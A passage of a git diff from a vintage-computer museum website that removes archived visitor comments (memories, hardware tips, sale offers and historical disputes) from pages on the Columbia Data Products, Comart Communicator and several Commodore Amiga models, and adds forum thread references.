1.25 I encountered that there are different versions of this computer (this is from DEFINE.EXE executable).\ - \* 1600-1 Dual Floppy System\ - \* 1600-2 Floppy + 5 Megabyte Hard Disk\ - \* 1600-3 Floppy + 7.5 Megabyte Hard Disk\ - \* 1600-4 Floppy + 10 Megabyte Hard Disk - - Additionally by hex-viewing DEFINE.DAT there are several similar entries: 1600-1S, 1600-2S, 1600-3S, 1600-4S, 1600-1R, 1600-1SR, 1600-2R, 1600-2SR, 1600-3R, 1600-3SR, 1600-4R, 1600-4SR and S9600. - - These are probably just model variations of 1600-X model, but I don''t know what S9600 is. - - You can find this info also on my wiki http://beta-changes.wikia.com/wiki/MS-DOS:1.25:CDP_OEM:2.11 (pages DEFINE.DAT and DEFINE.EXE) - - author: John A. Ficke (Virginia Beach, VA/USA) - date: Saturday 7th February 2015 - text: |- - I worked at Columbia Data Products as a production technician in the soldier shop and then briefly in the cable assy shop (after they shipped the soldiering tasks to PR). What Mr. Sommerville doesn''t tell you about Columbia Data Products is that, just before they started laying people off... They had a big (mandatory) meeting with all of the production personnel on the floor. They pushed buying the company stock with the eagerness of a street hooker and literally a week later started laying everyone off! Having their fill of champagne and knowing that there competitors would destroy them in court for literally stealing the intellectual property of another. - - I never bought any of the company stock, but many did... Their way of sticking it to their production personnel just as hard as they could, after robbing other honest innovators! - - I too never looked back, but I learned a valuable lesson about liars and thieves that wear suits... - - author: Vince Gray (Canada) - date: Thursday 18th August 2005 - text: This was my first home computer. A "luggable", as opposed to "portable", I think we called it then. I remember that mine had 1 MB of RAM - I used the portion that wasn't consumed by TSR programs as a virtual disk - fantastically fast access, compared to the floppy :-) - - author: Lyle Van Camp (Drayton ND) - date: Thursday 21st April 2005 - text: For several years we published our weekly newspaper using a Coumbia Data Products VP. It has two floppies and a memory expansion unit. It should still be working fine. I will try and dig it out tomorrowand set it up. We ran Wordstar, Rimwriter and LePrint and output to an HP Laserjet. The HP was supposed to be the third one shiped out of Minneaoplis. We had our choice of waiting for the "new" parallel model or taking a seial one. We took the serial one and it still works fine, although it does need a good cleaning and probably a new cart. I would be interested in selling the Columbia if I could find the best way to market it. Any suggestions? oc_id: 889 source: url: https://web.archive.org/web/20230601093609/http://www.old-computers.com/museum/computer.asp?c=889 diff --git a/content/museum/comart-communicator.md b/content/museum/comart-communicator.md index 697caa36..bf2769a0 100644 --- a/content/museum/comart-communicator.md +++ b/content/museum/comart-communicator.md @@ -50,53 +50,7 @@ params: value: S-100 boards - label: PRICE value: $3500 - comments: - - author: Mike Arnold (United Kingdom) - date: Wednesday 8th December 2021 - text: I used to sell Comart and Cromemco in the 1980s. Still have some Comart parts in the attic somewhere. Much prefer Cromemco though and still have a working system from them. - - author: Stacey (United Kingdom) - date: Saturday 14th November 2020 - text: So weird. The man in this photo is my dad. He died 3 years ago and I miss him so much. I''d love to know who Sarah is... - - author: Ross (United Kingdom) - date: Monday 2nd March 2020 - text: Does anyone have any bootable software for the Communicator please? - - author: John Adams (UK) - date: Monday 23rd May 2016 - text: |- - I worked in Byeshiop Manchester we sold these along side North Star Commodore Pet, Apple II, Sharp Mz80k vic20 and Cromemco. - - I still have a Communicator with 10Mb hard drive, I think it will end up at Bletchley as they said $ it off. - - I fell out with them somewhat after I set up sale to Kellogg''s to weight the frosties packets instead of them buying a harris mini, then when the guy came round to discuss the sale I was told to make the tea. - - I said to the young lad who worked Saturdays that I thought I should set up on my own, he told the owner who sacked me. - - He had previously given me my P45 when I had to visit hospital for something less than trivial. - - I am not bitter as it was a really good grounding and I have had my own Computer company ever since. - - He went on to manage Clive sinclairs z88 thing and Byteshop went on to be purchased by another company which still trades. - - author: Paul Hindley (uk) - date: Friday 10th July 2015 - text: One of these ran the flight display boards at Manchester Airport. I remember the screen was on top of the Base unit and would wobble. I always felt drunk after using it. - - author: Paul Kerry (Scotland) - date: Monday 27th October 2014 - text: |- - I have a copy of PCW magazine from 1983 in which the CC was promoted as \*future proof\*. - - I think I''d like to upgrade mine, now. My 5mb HD isn''t particularly power-efficient, the coils which move those disk-heads make my lightbulbs dim !! $) - - author: Sarah - date: Friday 11th October 2013 - text: Feels strange seeing this as comart and Kode was my fathers company .... - - author: Peter Todd (United Kingdom) - date: Wednesday 4th September 2013 - text: |- - Comart Ltd. CP1525M 8086 - - http://www.youtube.com/watch?v$r79uslEWQj8 - - author: Peter Todd (UK) - date: Wednesday 4th September 2013 - text: Footage of a Comart CP1525M is here, any information to help with restoration would be welcome - I have the CROSS montior running but no Rodime spinup. + forum_thread: 742 oc_id: 759 source: url: https://web.archive.org/web/20230608143122/http://www.old-computers.com/museum/computer.asp?c=759 diff --git a/content/museum/commodore-amiga-1000.md b/content/museum/commodore-amiga-1000.md index 622b6699..881493cc 100644 --- a/content/museum/commodore-amiga-1000.md +++ b/content/museum/commodore-amiga-1000.md @@ -70,6 +70,7 @@ params: - emulators - links - videos + forum_thread: 47 photos: - title: AMIGA 1000 subtitle: '' @@ -268,130 +269,6 @@ params: - title: 'Computer Chronicles: Amiga & Atari (1985)' url: http://video.google.com/googleplayer.swf?docId=8978343825632445107&hl=fr text: 'Length: 29 min 18 s' - comments: - - author: Amigaman - date: Monday 1st May 2017 - text: |- - Its a shame people in the below comments have to lie about Jay and the Amiga ,and say the above info in this case isnt right. As of this writing.To promote the lies and to go so far as make Jay a non creator oh Illuminati u have gone even unto Amiga\ - Screen grab taken. - - its Lorraine 1979-80\ - hightorro 1980-81\ - Amiga/inc. 1982 - - Yes, Amigas prior name can be a project or a code name apple or any othere company had code names or projects . That where there product also. Amiga was one such code name. Really ,guys you say it was just inc then wait its high toro then..you conflict ..you cant have your cake and eat it too,and guess what that is a code/project inc ,and a product as well.. oopss conflict of what was and has been said prior.\ - late 87 earl 1988 Amiga 3000 was released\ - 1986 Amiga cdtv was released\ - Amiga CD32/ Amiga 1200 1990 - - Aga chipsset chip was ready by 1988 they where moving on devleoping the aaa .The corrupt management Wanted to delay the AGA by another 2 years.So the ECS was released .REally, guys all you have to do is take away 8bits oh bing the 16bit ecs is there the zorr3 was ready.\ - Dave said the CDTV was ready 2 yeas prior.\ - I went to Mass Brothers in Gasinvelle ,Fl in 1988.TO see and purchase 3 parts to make whole.\ - Thee a1200 I bought from the UF book store owner in 1991 New the people in Amiga. Sterling S.New people in Amiga also as he got the /a 1990 cd32.it seems we have inundated apple/atari $ Illuminati influenced / one in the same people That are against people like me. That tell the truth. That prevent , any and all from correcting any info on wiki,or anywhere else for that matter. That leads to the Truth on Amiga this includes the Mass Brother link Sad indeed. Nor do they want to hear it. Yes, they want to make a video of the lies.or print the lies Me I won''t allow the lies to continue as I promised Jay as he asked.RIP - - author: smf - date: Sunday 10th April 2016 - text: The Atari/Amiga deal was over before Jack Trammel arrived at Atari. He only discovered it when commodore sued Atari for stealing IP when he poached the commodore engineers who took from commodore the designs for CBM 900 (which turned into the ST). Atari countersued and the case was eventually settled out of court. - - author: Malcolm Ramage (England) - date: Saturday 17th October 2015 - text: |- - There are a number of mistakes here. Jay Miner was indeed instrumental in the creation of the Amiga''s architecture, much of the machine in a more simplified form was proposed by Miner while still at Atari, however as the current home computer and console ranges were selling well, the current overlords Warner, were not interested. Frustrated, Miner left and came across a group who were looking to create a next generation gaming system. This group became known as Hi-Torro, who created and sold game controllers to help fund the new Lorrane project. - - Funding was a problem, Warner''s Atari became interested and funded the development with a few strings attached, one of which was the investment needed to be repaid by a certain date or the technology became property of Atari. - - Then something weird happened... - - Warner feared the home console/computer market would never recover so put Atari''s home division up for sale (While keeping the profitable Arcade division). Jack Trammel had previously left Commodore and wanted a company to help launch a new computer which he was planning and realised the Atari brand and identity was just what he needed for such a machine. The deal was done and Trammel took over Atari, which was not what the group developing what was now known as the Amiga wanted. However they were contracted to Atari and now had a problem... - - Trammiel had seen the contract and knew the company could not repay the money, but he also knew the technology would be of little use without its creators, so he offered to buy the company. The Amiga creators did not want to do this but felt they had little choice, then Trammel $ped his offer... - - Then something else weird happened... - - Commodore, anxious to get one over on their former boss, came in at the last minute, bought the company for more than Trammel had ever offered, giving the developers all the money they needed to pay Atari back, which they did. Atari lost the Amiga and Commodore gained it. - - Trammiel sued to try and stop Commodore using the technology citing breach of contract, but as the contract was with the Amiga company and staff, and Amiga company and staff officially paid the money back in time, the case was thrown out. - - Trammiel continued with the machine he was already developing (Which became the ST), Commodore stopped development on their Unix machine (The 9000?) and created the worlds first multimedia system, at a time when no one really knew what it was, but they loved it all the same. - - author: Stromasher - date: Monday 6th January 2014 - text: |- - Please update the blurb as it''s totally wrong. - - An incredible machine deserves better than what is provided here. - - (how can I credibly believe anything else written on your site if you can''t be bothered updating this well known piece of Amiga lore?) - - author: Stromasher - date: Monday 6th January 2014 - text: |- - Please update the blurb as it''s totally wrong. - - An incredible machine deserves better than what is provided here. - - (how can I credibly believe anything else written on your site if you can''t be bothered updating this well known piece of Amiga lore?) - - author: wolflarsen (France) - date: Thursday 31st March 2011 - text: |- - It should be interesting to mention that the names of the conceptors where ''printed'' in the plastic structure of the top cover. I was surprised when i discovered this, after removing this cover (the 1st day of course ! :)\ - There was also this strange RAM pagination, 256M being reserved for kickstart (no ROM) - - author: Lee - date: Monday 10th November 2008 - text: i forgot to mention!! i have speedball aswell - - author: Lee (England) - date: Monday 10th November 2008 - text: |- - I have an Amiga 600 with a zipstick. some writing material and a fair few sensible soccer games (wow that was the best football game ever made!!!) i loved it.i won the premier league with plymouth argyle!!\ - i have a mouse aswell.\ - my honesty always shines brighter than anything else, the right hand button on the zipstick doesnt work and the letters ''e'' and ''n'' dont owrk on the keyboard but with some cleaning they will.\ - if anyone wants to buy my amiga 600.\ - let me know.\ - happy gaming.\ - lee - - author: Lee (England) - date: Monday 10th November 2008 - text: |- - I have an Amiga 600 with a zipstick. some writing material and a fair few sensible soccer games (wow that was the best football game ever made!!!) i loved it.i won the premier league with plymouth argyle!!\ - i have a mouse aswell.\ - my honesty always shines brighter than anything else, the right hand button on the zipstick doesnt work and the letters ''e'' and ''n'' dont owrk on the keyboard but with some cleaning they will.\ - if anyone wants to buy my amiga 600.\ - let me know.\ - happy gaming.\ - lee - - author: chris (england) - date: Wednesday 17th October 2007 - text: |- - i used to have an amiga 600 & 500A but when I moved house my dad droped them out of the loft )-: \*sniff\*\ - it was murder - - author: HOLDYS (POLAND) - date: Thursday 8th December 2005 - text: |- - Amiga 1000 is very good and powerfull computer '80 - - Amiga demo scene is the best and AMIGA RULES !!! - - Amiga 1000 in ebay is very expensiv !!!! - - author: j4ck (US) - date: Monday 18th April 2005 - text: One thing about the Amiga's name. Commodore used to discourage people from calling it the "Commodore Amiga" in the beginning, because of their toy computer/games image. they wanted you to call it "The Amiga, from Commodore" instead. The Amiga 1000, at least the US version, didn't say Commodore or have the C= logo anywhere on it - - author: Petrvs (Argentina) - date: Sunday 20th June 2004 - text: In Argentina the Amiga 1000 and 500 were sold with a "PC emulator" that allowed the amiga to run some PC XT software (text screen based) like wordstar. All PC programs that needed graphic screens were not compatibles. - - author: Nighthawk (Ontario, Canada) - date: Tuesday 7th January 2003 - text: I have an Amiga 1000. In fact, I use it as a Television. The machine is fully functional with an extra disk drive and a "Genlock" that attaches to the underside of the Amiga. With this I can run the Amiga \*and\* watch TV. Cool, eh? This also means that I can play a vcr tape and with a 2nd vcr add custom images using the Amiga. And all this on the the original 512K. - - author: John Leifer (UK) - date: Tuesday 24th September 2002 - text: I have an A1000 with a "sidecar" (an XT clone) attached. Anybody know what the sidecar DIP switch settings are as I want to set up a dual OS hard drive. Have all the hardware but not the knowledge. - - author: Chris (Maine) - date: Monday 19th August 2002 - text: I bought an Amiga 1000 second hand for about $800 in the late 80's. My youngest son (15 or so at the time) became caught up in the "Amiga Cult" at that time. There were several Amiga users in our area and they got together often and traded software etc. The graphics capabilties were incredible at the time, we had a cad program and an animation program, as well as the usual stuff. My son has the computer still, and it is hooked up and \_still working\_!!! Great game machine! - - author: Daniel Silen ((Earth)) - date: Saturday 25th May 2002 - text: The machine brings back memories. I remember my old neighbors bought one of these machines bran new back in early 1986. I was amazed at the 4096 colors at the time. It was such a slow computer. Compared to a IBM PC XT/w/MDA Display adapter, the Amiga at the time was high tech. I happen to have been seven years old. I loved the paint program. I was not familiar with it's enviroment. - - author: Polyhead (Earth) - date: Tuesday 5th March 2002 - text: NO Amiga ever had ANY kind of text mode. EVERYTHING was displayed in a bit planed graphic mode. Infact this property spilled over into modern versions of linux. Linux has been ported to the amiga and was the sole reason that the ability to boot into a frame buffer was developed :) should also be noted was Amiga OS not only multitasking, it was pre-emptive, multithreaded multitasking. Should also be noted that the machine utulized a flat memory model. - - author: Thom Heppleston (Earth) - date: Friday 8th February 2002 - text: On the Amiga 1000 page you state, "The Amiga can display 4096 colors simultaneously (HAM mode) but only for static display." This is not true. HAM modes could be animated. I once had a HAM hack for Amiga workbench which allowed for 4096 colour icons, and a game called "E-motion" ran in HAM mode during play. related: - /museum/commodore-amiga-1200 - /museum/commodore-amiga-1500 diff --git a/content/museum/commodore-amiga-1200.md b/content/museum/commodore-amiga-1200.md index e903365f..73b0fce6 100644 --- a/content/museum/commodore-amiga-1200.md +++ b/content/museum/commodore-amiga-1200.md @@ -73,6 +73,7 @@ params: - emulators - links - videos + forum_thread: 615 photos: - title: LEFT SIDE subtitle: '' @@ -445,100 +446,6 @@ params: - title: 'Computer Chronicles: Amiga & Atari (1985)' url: http://video.google.com/googleplayer.swf?docId=8978343825632445107&hl=fr text: 'Length: 29 min 18 s' - comments: - - author: Andrew Wallace (Bo''ness Scotland) - date: Wednesday 25th August 2010 - text: I had an A1200 on the week it launched. When they first launched hundreds of them had to be returned as the internal modulator (Commodore replaced the A520 external modulator) did not provide a clear picture or sound of any quality. I also remember most games not working on the machine probably due to the 68020, Rom v3 and the AGA chipset. I got shot of mine, bought a second hand A500+ (That I had sold to get the A1200) and saved up for a PC. A friend of mine remained faitful to the A1200 and even had the 060 card in his (that bulged out of the expansion slot) by this time there was some software for the machine. To be honest the machine was never well supported, you were far better off with a A500+ for games and a A3000 for the more serious stuff. Interestingly the A1200 was built at SCI in Irvine in Scotland, about 3 miles from my house. 2 of my cousins worked on it and they told me of the majour problems they had with the machine, especially with mdulators. - - author: Harald Hansen - date: Tuesday 28th May 2013 - text: |- - Andrew Wallace: - - Sorry to hear your bad experience with the 1200, but to move ahead in the world, some compatibility has to be sacrificed. There were ways to diminish this problem though, using software Kickstart replacements or the compatibility settings at boot. - - As for your other comments, I must really beg to differ. This computer was -very- well supported and continues to be many years after it''s supposed demise. You can still get CPU upgrades, graphics cards and even 16 bit sound cards with a DSP for it. You can stick it in a full tower if you so wish and use cheap PCI graphics cards instead of using the relatively more expensive Amiga graphics cards if you so wish. - - Software was also written for it long after Commodore went bankrupt in ''94 and Escom went belly up in ''96. So you can''t say it was never supported well, because it really was. Just as well as any of the other Amigas. - - author: Azhrei (Cork, Ireland) - date: Sunday 1st April 2012 - text: The Magic Pack was definitely released - I worked at a computer store (that did not sell second-hand gear) in Cork back in the mid-90''s and I remember talking to a manager about the Escom-released Amiga 1200, and it was a Magic Pack bundle. Just fyi. - - author: LethalDose - date: Thursday 15th September 2011 - text: |- - The A1200 was far the best computer i ever own. i was for a wile in a small demoscene in my country, used it for grafic design and even on my own little video and audio event company.\ - Sad that such a great machine was backup by moron decisions by the manufactures\ - My A1200 was tricked out with a wooping 128mb ram, 060/PPC Blizzard with a Blizzardvision graphics card, 240mb HDD and a 4x CDrom at the end of its life\ - ...i still own it, but its literaly stripped apart in a box right now...one day might take a travel back in time and reassemble it - - author: Diicc - date: Tuesday 23rd August 2011 - text: You could actually use 3.5" HDD mounted inside the case. You had to remove the HDD holder/clips and botch together your own stabilizer but it sure worked. Saved moeny and got you more Megs. - - author: catalin (Italy) - date: Friday 11th February 2011 - text: hi..the amiga 1200 works without the hard disk - - author: rednight - date: Monday 24th January 2011 - text: |- - Yes the Amiga has been re-implemented in an FPGA. - - The Minimig is complete and available for purchase - it re-impliments an A600 using a real 68000 and the custom chip set in FPGA. - - The Natami project is nearing release it is a fully Amiga compatible machine with several modern enhancments. - - author: Lez Anderson (England) - date: Thursday 2nd December 2010 - text: Does anyone know if the Amiga has been put onto a FPGA (field Programmable Gate Array) or CPLD ..?? It would be nice to get a hardware single chip Amiga. - - author: Andres Serrano (Spain) - date: Wednesday 20th October 2010 - text: 'Many people see the Amigas as a games machine only. I had a friend with an A2000 ( two floppies), who moved to PCs. He never experienced what the Amiga''''s hardware could do with just some extra memory!! I remember installing Civilization I (4 disks) onto RAM: and thus saving disk swapping. And with an internal hard drive and a 030 with 8MB, that was efficient. I met a group of people, programming for both the Amiga and PC, and the scrolls in the Amiga just couldn''''t be matched on the much faster Pcs!!' - - author: Lord Banter (UK) - date: Saturday 29th May 2010 - text: |- - The A1200 was a great computer, I still have it at home, unfortunately is not working. But the platform is not lost, there is new Amiga-compatible computer called NatAmi on the way:) - - Check out YouTube video of the prototype in action: http://www.youtube.com/watch?v$rydE7wa_5d0 - - author: David (UK) - date: Saturday 15th May 2010 - text: You can still buy "New old" stock Amiga a1200''s on amigakits.com. I just bought one and cannot wait! There''s cheapr one''s on ebay but they are yellowed and grubby. Check it out! - - author: Kevin (England) - date: Monday 12th April 2010 - text: I still hve my A1200, with an 030 card, 18 MB RAM and a 500MB HD, still has the best version ever made of UFO on it. I still use it quite a bit, particularly or Cinema 3D and Dpaint. It was a shame the platform died. - - author: User - date: Wednesday 8th April 2009 - text: Weak side of A1200 was low-power power supply, complicating to connect additional devices and expansion boards, wich may result overload and instability in work. - - author: Niels Haedecke - date: Tuesday 26th August 2008 - text: |- - I have re-discovered the Amiga Computer series and have set up a nice Amiga 1200 with a dual-boot option for OS 3.5 or NetBSD 3.1. This system also makes use of a FibreLine 10MBit Ethernet NIC (PCMCIA) adapter, a 68030 Turbo board and will soo be equipped with the new Indivision FlickerFixer (to be released in late 2008). I use it for gaming and as Email client. And it still does a very good job. - - It is such a pity that the Amiga and especially the A1200 did not survive the "DOS PC invasion". Good to know that there still are a lot of people who take care of these old machines. - - author: Gwion Mainwaring (Wales/Aberporth) - date: Wednesday 10th January 2007 - text: I bought my thre amiga's for thee pound each I have the amiga a1200 a500 and cd32 and i'm only 12yrs old i see great potential in my a1200 but i need the workbench disks os 3.0 or 3.1 could anyone please make me a copy of them??Email me if you can BIGEST 12yr old AMIGA fan!!!!!!! hehe lovin Amiga - - author: Blake Patterson (Alexandria, VA (USA)) - date: Monday 15th August 2005 - text: I recently built my 2nd Amiga 1200 tower, providing the unit with an (overclocked) 66MHz 68060 accelerator and high capacity fast SCSI. The story of this machine can be read in the 'www' link above. (Be sure to click into the gallery of photos of the setup from within the story linked above.) I use the machine mainly for watching hacker demos. - - author: Darren Forster (UK) - date: Monday 27th June 2005 - text: The A1200 was a fine machine. I have got one (and an A600 and CD32). I saw an A500 working once and was very glad that my first Amiga was the A600 or else I probably would never have bought an A1200. I got my A1200 from a car boot sale, prior to that I'd had a CD32 with an SX1 box which turned the CD32 into a full A1200. I can't seem to find the CD32 though. - - author: Alex (UK) - date: Sunday 11th May 2003 - text: Yep, the trapdoor expansion is definitely easy to use. Only problem is that some cards (mainly 68040's I think) could overheat. Do you think it's possible to put a Blizzard PPC into it with the original case? - - author: Hubert (Poland) - date: Wednesday 16th April 2003 - text: My Amiga 1200 had 420MB Seagate 3.5 inch HD installed internally (well, I coudn't fit it, so there was small, 3mm gap between lower and upper part of case, clearly visible on left side of computer - hard drive was simply to high). It was running internal acceleration card with 50MHz Motorola 68030 overclocked to 66MHz and math coprocessor running at 50MHz an asynchronous mode, and with 16 MB of 'real-fast' memory. It was very fast, I don't remember the name of this card - my friend bought it for me in USA... It was quite rare in Europe, most of my friends with Amigas 1200 had different acc. cards in their machines. Besides the clear superiority in terms of speed my card had some compatibility problems with its memory controller - most of so called 'demos' coudn't utilize 'fast' on-board memory resulting in speed loss (such programs could only use 2MB of 'chip' type memory, with access slowed down by DMA channels). - - author: Peter Gordon (UK) - date: Wednesday 12th June 2002 - text: Also, almost none of the cards in the card section work with the A1200 :) - - author: Peter Gordon (UK) - date: Thursday 6th June 2002 - text: |- - The Magic Pack definately was released. - - The modification to the disk drive was not for compatibility with the Amiga filesystem at all (All disk drives can read and write Amiga filesystem disks, but standard PC floppy CONTROLLERS can't read/write Amiga 880/1760k disks. As AROS proves, PC floppy controllers can write FFS disks with only 720/1440k). - - The incompatability was due to a missing signal (DSKRDY) which indicates when the motor has spun up and is ready. - - author: Gary Byrne (UK) - date: Wednesday 5th June 2002 - text: The Amiga 1200 did have up to 200Mb Hard Disk Drive internally. I should know as I have one! Also the expansion underneath the Amiga 1200 not only held extra RAM but you could add an additional faster CPU which would override the orignal - not sure how this was done. related: - /museum/commodore-amiga-1000 - /museum/commodore-amiga-1500 diff --git a/content/museum/commodore-amiga-1500.md b/content/museum/commodore-amiga-1500.md index 86f22c40..293b8bd6 100644 --- a/content/museum/commodore-amiga-1500.md +++ b/content/museum/commodore-amiga-1500.md @@ -65,6 +65,7 @@ params: - emulators - links - videos + forum_thread: 611 photos: - title: INSIDE THE A1500 subtitle: '' @@ -258,28 +259,6 @@ params: - title: 'Computer Chronicles: Amiga & Atari (1985)' url: http://video.google.com/googleplayer.swf?docId=8978343825632445107&hl=fr text: 'Length: 29 min 18 s' - comments: - - author: Harald - date: Wednesday 12th August 2015 - text: For anyone wanting to get an A1500 might as well look for an A2000 instead. They are much more common. The only difference is in the label (and the extra floppy), the mainboard is just an A2000 one (as mentioned here). It was purely a marketing thing, and only sold in the UK afaik. - - author: Yoji (UK) - date: Friday 1st May 2015 - text: I still have an Amiga 1500..though the one I bought had a "massive" 52MB HDD? and I think I added extra mem to expand it to 3MB in total.. and I also upgraded from 1.3 to 2.04. I really need get it down from attic and fire it up - - author: Yoji (UK) - date: Friday 1st May 2015 - text: I still have an Amiga 1500..though the one I bought had a "massive" 52MB HDD? and I think I added extra mem to expand it to 3MB in total.. and I also upgraded from 1.3 to 2.04. I really need get it down from attic and fire it up - - author: Marga (Spain) - date: Tuesday 4th January 2011 - text: Anyone interested in selling a A1500? I''ve been looking for everywhere. Please, if so, I''m willing to negotiate. thanks - - author: Mathew Child (UK) - date: Wednesday 6th September 2006 - text: I had bought an A1500 from new, it all came in a box marked a1500, but under the a1500 sticker was a nice shiney A2000 one, so wanting to look even more flash I peeled it off and made out I splashed out even more. - - author: Peter Gordon (UK) - date: Wednesday 29th May 2002 - text: |- - I have one of these! The motherboard is a B2000 R6. The manual says "Amiga 2000 manual", and has a sticker with "Includes A1500". - - Nice machines. related: - /museum/commodore-amiga-1000 - /museum/commodore-amiga-1200 diff --git a/content/museum/commodore-amiga-2000.md b/content/museum/commodore-amiga-2000.md index b7d15391..868e45d9 100644 --- a/content/museum/commodore-amiga-2000.md +++ b/content/museum/commodore-amiga-2000.md @@ -68,6 +68,7 @@ params: - emulators - links - videos + forum_thread: 79 photos: - title: ANOTHER CONFIGURATION subtitle: '' @@ -256,24 +257,6 @@ params: - title: 'Computer Chronicles: Amiga & Atari (1985)' url: http://video.google.com/googleplayer.swf?docId=8978343825632445107&hl=fr text: 'Length: 29 min 18 s' - comments: - - author: knut A (Norway) - date: Saturday 14th May 2011 - text: 'You can buy almost everything you need for amiga systems in this shop: www.amigakit.com. It´s a uk based stor that ships almost anywhere. Hops this helps somone.' - - author: tom2215 (United Kingdom) - date: Sunday 25th March 2007 - text: If you are in the U.K, you can try www.amigadeals.co.uk, but anywhere else, probably ebay or another shopping site. Do some searching and even look up a old pc hardware shop near where you live, some friends may have parts as well. - - author: Pest1lence (Canada) - date: Friday 14th November 2003 - text: I recently recieved a 2000, and I'm wondering if anyone has the manuals for on that I could maybe get a copy of, thanks. - - author: lazos (greece) - date: Monday 28th July 2003 - text: |- - I have an old Amiga 2000 and I need to upgrade it.\ - Where can I find information about harware and software compatible with this model? - - author: rebecca (canada) - date: Monday 22nd April 2002 - text: i love these comps. i totally grew up on these. i remember when i was really small like 3 on the amiga 500 and my dad not leting me on the amiga 2000 cause that was his computer and the 500 was mine. but i have the amiga 2000 now as mine in my rooma dn i wouldn't trade it for my life i love that computer. related: - /museum/commodore-amiga-1000 - /museum/commodore-amiga-1200 diff --git a/content/museum/commodore-amiga-2500.md b/content/museum/commodore-amiga-2500.md index 6044c054..ca59322d 100644 --- a/content/museum/commodore-amiga-2500.md +++ b/content/museum/commodore-amiga-2500.md @@ -64,6 +64,7 @@ params: - emulators - links - videos + forum_thread: 887 photos: - title: AMIGA 2500 subtitle: '' @@ -220,16 +221,6 @@ params: - title: 'Computer Chronicles: Amiga & Atari (1985)' url: http://video.google.com/googleplayer.swf?docId=8978343825632445107&hl=fr text: 'Length: 29 min 18 s' - comments: - - author: Brian (USA) - date: Thursday 29th September 2016 - text: I have a color pic of a 2500 - - author: Dan McBride - date: Wednesday 8th August 2012 - text: Somebody PLEASE replace that black and white photo with a colour version for this machine! - - author: Carlos Bragatto (Brazil) - date: Friday 20th June 2003 - text: My brother had an Amiga 2500/030. What a machine ! It was really fast because it had 2mb of FastRAM inside the accelerator card, and, as such, this 2mb ran at full 32bit speed. Compared to other accelerator cards, the 25mhz 68030 A2630 was very pedestrian (my Microbotics VXL30 runs at 50mhz), but running the RAM inside the accelerator gave a boost in operation that most other accelerators don't. related: - /museum/commodore-amiga-1000 - /museum/commodore-amiga-1200 diff --git a/content/museum/commodore-amiga-3000.md b/content/museum/commodore-amiga-3000.md index b915dcf0..1b9b5f11 100644 --- a/content/museum/commodore-amiga-3000.md +++ b/content/museum/commodore-amiga-3000.md @@ -63,6 +63,7 @@ params: - emulators - links - videos + forum_thread: 49 photos: - title: AMIGA 3000T-040 subtitle: '' @@ -231,64 +232,6 @@ params: - title: 'Computer Chronicles: Amiga & Atari (1985)' url: http://video.google.com/googleplayer.swf?docId=8978343825632445107&hl=fr text: 'Length: 29 min 18 s' - comments: - - author: Havoc (USA) - date: Monday 6th January 2020 - text: |- - Please correct the line about a3000t - - The Amiga 3000T, released in 1991, was a tower system with built-in speaker, 32Mb RAM... - - a3000t was shipped with 1MB chip (expandable to 2MB), and 4MB fast (expandable to 16!). I have no idea where you got 32MB from. - - author: George (greece) - date: Monday 30th July 2007 - text: |- - I have an amiga 3000\ - What i must do to use the 1.3 rom. I can see no choising screen when the amiga starts and it boot with 2.0 kick start.. - - author: Nick Henning (Isle of Wight) - date: Tuesday 8th August 2006 - text: |- - Regarding qwerty's problem - The spin-up time of the hard drive may be causing the problem. The original kickstart ROMs didn't allow much time for hard-drive spin-up and if it takes too long, the system assumes that there is no HD attached and shows the boot screen. If this is the case, doing a warm reset (Cntrl-Amiga-Amiga) should boot the system.\ - What shut down procedure???? This is an Amiga!\ - I think the only way round this problem is to get a faster drive :-) - - author: qwerty (a place still) - date: Tuesday 27th June 2006 - text: I mean amiga 3000 :-) - - author: qwerty (a place) - date: Tuesday 27th June 2006 - text: |- - Hi everyone, - - I have an amiga 300, and quite frequintly whenever I turn it on I get the kick-start choosing screen with the hard drive greyed out. I have it properly installed, though I have been failing to follow shut down procidure properly till now, though it seems like that shoulden't be enough to kill the hard drive. Even when I was turning it off improperly, I had no applications running when I did. Any help please? - - author: Peter Jutzies (Germany) - date: Wednesday 25th January 2006 - text: |- - Hello, - - The first version of the A3000 was shipped without Kickstart-ROM, because the Kickstart V2.0 was only beta. The Kickstart (1.3 or 2.0) was booted from a 50 or 100 MB hard disk. The version of the Kickstart was selected in a bootmenu, which appeared when a mouse button was pressed in the cold start phase. - - author: Michael Jantzen (Beaverton Oregon) - date: Wednesday 6th July 2005 - text: Few corrections - the 3000 and 3000T had Zorro 3 slots, not Zorro 2, and the 3000/16 wasn't so rare - I even had one at one point. - - author: Ekkehard Morgenstern (Germany) - date: Tuesday 17th May 2005 - text: |- - The Amiga 3000 was a magnificent machine for its time. I bought mine in 1992, a 25 MHz version with AmigaOS 2.1. The OS was partially in ROM, and I upgraded it to AmigaOS 3.1 some years later. - - What hasn't been mentioned here is that it, as the only Amiga model, had a VGA connector to connect VGA monitors capable of 50/60 Hz vertical frequency. A scan-doubler (that could be switched off for 15 kHz monitors) created the 31 kHz horizontal frequency required by VGA monitors. It had so-called "productivity" graphics modes which exploited some of the VGA characteristics, with less colors and a restricted palette (like 4 out of 64 colors). The downside of these modes were that they ate up all of the DMA cycles. A better approach would've been a multi-frame interface like that used by the A2024 monitor (which I also owned). - - The A2024 monitor was capable of displaying 1008 x 1024 pixels in 4 shades of gray, which was enough for the 3D look of the AmigaOS 2.0 user interface. It was achieved by sending 4 frames to the monitor, which resulted effectively in a screen refresh rate of 10 or 15 Hz, respectively. - - The A-3000, also as the only Amiga model, had a SCSI-2 interface and could be hooked up to any SCSI hardware. - - I used the A-3000 mainly for text processing, creating music, and programming, and some painting and stuff. - - I had expanded mine to 6 MB which was enough for ALL applications. I never ran out of memory! :) - - I believe that if Commodore hadn't kicked the bucket, that A-3000 or A-4000 models could've been in every office, but I guess it was already too late at that time. - - AmigaOS was perfect for any application, but the hardware could've been a bit better, but the AA (aka AGA) chipset came too late and AAA was never completed. - - One other drawback on the hardware side was that the custom chips were only clocked with the regular 14 MHz, not 25 MHz as the CPU. Jay Miner once said that it was been possible in the 80ies already to ship Amigas with higher resolutions and 25 MHz chipset, but I guess C= didn't listen. related: - /museum/commodore-amiga-1000 - /museum/commodore-amiga-1200 diff --git a/content/museum/commodore-amiga-4000.md b/content/museum/commodore-amiga-4000.md index aa255224..bb4e83c1 100644 --- a/content/museum/commodore-amiga-4000.md +++ b/content/museum/commodore-amiga-4000.md @@ -65,6 +65,7 @@ params: - emulators - links - videos + forum_thread: 51 photos: - title: AMIGA 4000/040 subtitle: '' @@ -250,22 +251,6 @@ params: - title: 'Computer Chronicles: Amiga & Atari (1985)' 